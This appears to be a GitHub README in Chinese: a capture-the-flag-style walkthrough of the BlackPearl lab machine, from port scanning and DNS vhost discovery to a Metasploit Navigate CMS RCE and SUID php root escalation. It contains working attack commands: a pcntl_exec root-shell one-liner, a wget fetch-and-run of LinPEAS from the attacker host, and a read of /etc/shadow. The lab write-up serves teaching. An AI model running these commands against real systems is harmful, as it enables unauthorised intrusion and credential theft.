LexKingz/BlackPearl-Full-Stack-Enumeration-Privilege-Escalation-Case-Study

GitHub: LexKingz/BlackPearl-Full-Stack-Enumeration-Privilege-Escalation-Case-Study

一份从初始枚举到root权限的完整渗透测试案例文档,涵盖DNS跳板、CMS漏洞利用和SUID提权的全链条攻击方法论。

Stars: 0 | Forks: 0

# BlackPearl – 概念验证演练 ## 目标 本实验展示了在进攻性安全中适应性、持久性和创造性解决问题的重要性。 安全弱点并不总是显而易见的。有时利用漏洞需要: * 测试多种攻击路径 * 在服务之间进行 Pivot(跳板) * 识别配置错误 * 利用看似微不足道的疏忽 一个单一的不慎失误 —— 例如暴露的文件、不当的 DNS 配置或配置错误的 SUID 二进制文件 —— 都可能导致系统完全沦陷。 本演练记录了从枚举到获取 root 权限的完整攻击链。 # 1. 初始枚举 对目标进行了完整的 TCP 扫描: ``` nmap -sC -sV ``` ### 结果 ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u5 80/tcp open http nginx 1.14.2 ``` 关键发现: * SSH 运行在端口 22(无法立即利用) * DNS 服务暴露在端口 53 * HTTP 服务运行 nginx 1.14.2 * 暴露了默认的 nginx 欢迎页 默认 Web 服务器页面的存在表明了卫生状况不佳和可能存在的配置错误。 # 2. Web 枚举(端口 80) 访问: ``` http:// ``` 显示了默认的 nginx 页面。 * screenshots/01-default-nginx-welcome-page.png ## 目录爆破 使用 `ffuf` 进行目录发现: ``` ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http:///FUZZ ``` 仅发现了一个目录: ``` /secret ``` 访问它下载了一个名为 `secret` 的文本文件。 * screenshots/02-scret.png 该文件没有提供有用的信息用于漏洞利用。 # 3. DNS 枚举(端口 53) 由于 DNS(端口 53)被暴露,进行了进一步调查。 使用 `dnsrecon` 进行了反向 DNS 查询: ``` dnsrecon -r 127.0.0.0/24 -n -d placeholder ``` 发现了一条 PTR 记录。 * screenshots/03-dnsrecon.png ## 编辑 /etc/hosts 为了在本地正确解析发现的域,向攻击机添加了一条记录: ``` sudo nano /etc/hosts ``` 添加了: ``` blackpearl.tcm ``` 这确保了域在本地解析,而无需依赖外部 DNS。 * screenshots/04-etc-host-edit.png # 4. 虚拟主机发现 访问: ``` http://blackpearl.tcm ``` 产生了一个与 IP 地址不同的页面。 * screenshots/05-blackpearl-tcm.png 这证实了使用了 **virtual host routing(虚拟主机路由)**,即内容是基于主机名而不是 IP 提供的。 ## 目录枚举(再次 – 现在使用域名) 使用域名重新运行 `ffuf`: ``` ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://blackpearl.tcm/FUZZ ``` 发现: ``` /navigate ``` 访问: ``` http://blackpearl.tcm/navigate ``` 显示了一个 CMS 登录页面。 * screenshots/06-blackpearl-navigate.png # 5. CMS 识别与利用 应用程序被识别为: **Navigate CMS v2.8** 搜索已知漏洞后发现了一个 **远程代码执行 (RCE)** 漏洞。 利用是通过 Metasploit 进行的。 ## 通过 Metasploit 利用 ``` msfconsole use exploit/multi/http/navigate_cms_rce show targets set TARGET set RHOSTS set VHOST blackpearl.tcm exploit ``` 成功的利用产生了一个如下身份的 shell: ``` www-data ``` * screenshots/07-metasploit-gain-lower-privilege-access.png # 6. Shell 稳定化 最初的 shell 是非交互式的。 使用 Python 生成了一个适当的 TTY: ``` which python python -c 'import pty; pty.spawn("/bin/bash")' ``` # 7. 权限提升枚举 工具 **LinPEAS** 用于本地枚举。 在攻击机上: ``` python3 -m http.server 81 ``` 在目标机器上: ``` wget http://:81/linpeas.sh chmod +x linpeas.sh ./linpeas.sh ``` * screenshots/08-spwn-shshell-upload-linepeas.png * screenshots/09-python-serveup-linpeas.png * screenshots/10-linpeas-uploaded.png * screenshots/11-chmod-run-linpeas.png # 8. SUID 发现 LinPEAS 突出显示了 SUID 二进制文件。 * screenshots/12-linpeas-scan-suid-sgid.png 手动确认: ``` find / -type f -perm -4000 2>/dev/null ``` * screenshots/13-linpeas-find.png ## 理解 SUID 当二进制文件设置了 SUID 位(`-rwsr-xr-x`)时,它将以文件所有者(通常是 root)的权限运行。 然而,并非所有 SUID 二进制文件都是可利用的。必须对每一个进行单独分析。 # 9. GTFOBins 研究 识别出的 SUID 二进制文件: ``` /usr/bin/php7.3 ``` 与 **GTFOBins** 进行了交叉参考,该网站提供了针对配置错误二进制文件的权限提升技术。 * screenshots/14-gtfobins-website.png * screenshots/15-gtfobins-website2.png * screenshots/16-linpeas-find2.png # 10. 权限提升至 Root 执行了以下命令: ``` /usr/bin/php7.3 -r "pcntl_exec('/bin/sh', ['-p']);" ``` 由于 SUID 位,这生成了一个 root shell。 * screenshots/17-gain-root-acess-shell.png # 11. Root 访问证明 为了确认完全沦陷: ``` cat /etc/shadow ``` 对 `/etc/shadow` 的访问确认了 root 权限。 * screenshots/18-etc-shadow-file.png # 最终总结 这台机器展示了几个重要的进攻性安全经验: * 默认配置暴露了攻击面。 * DNS 配置错误可能会暴露隐藏的虚拟主机。 * 虚拟主机路由需要主机名枚举。 * 公共 CMS 软件通常包含已知漏洞。 * SUID 二进制文件必须始终进行审查。 * GTFOBins 对于权限提升研究非常有价值。 * 单个配置错误的二进制文件可能导致完全的 root 沦陷。 # 关键要点 安全很少被单一灾难性的故障破坏。 它通常被以下因素破坏: * 配置错误 * 卫生状况不佳 * 遗忘的文件 * 暴露的服务 * 未修补的软件 系统配置中的每一步都应该是深思熟虑且精确的。 小错误可能导致全面沦陷。
标签:CMS 漏洞利用, CSV导出, CTF Walkthrough, CTI, DNS 枚举, DNS 透视, Ffuf, GitHub, Linux 安全, Nginx, Nmap, OpenSSH, Python3.6, SUID 提权, Web报告查看器, Writeup, 初始访问, 协议分析, 密码管理, 插件系统, 攻击链, 数据统计, 权限提升, 漏洞复现, 目录爆破, 端口扫描, 网络安全, 虚拟驱动器, 逆向工具, 隐私保护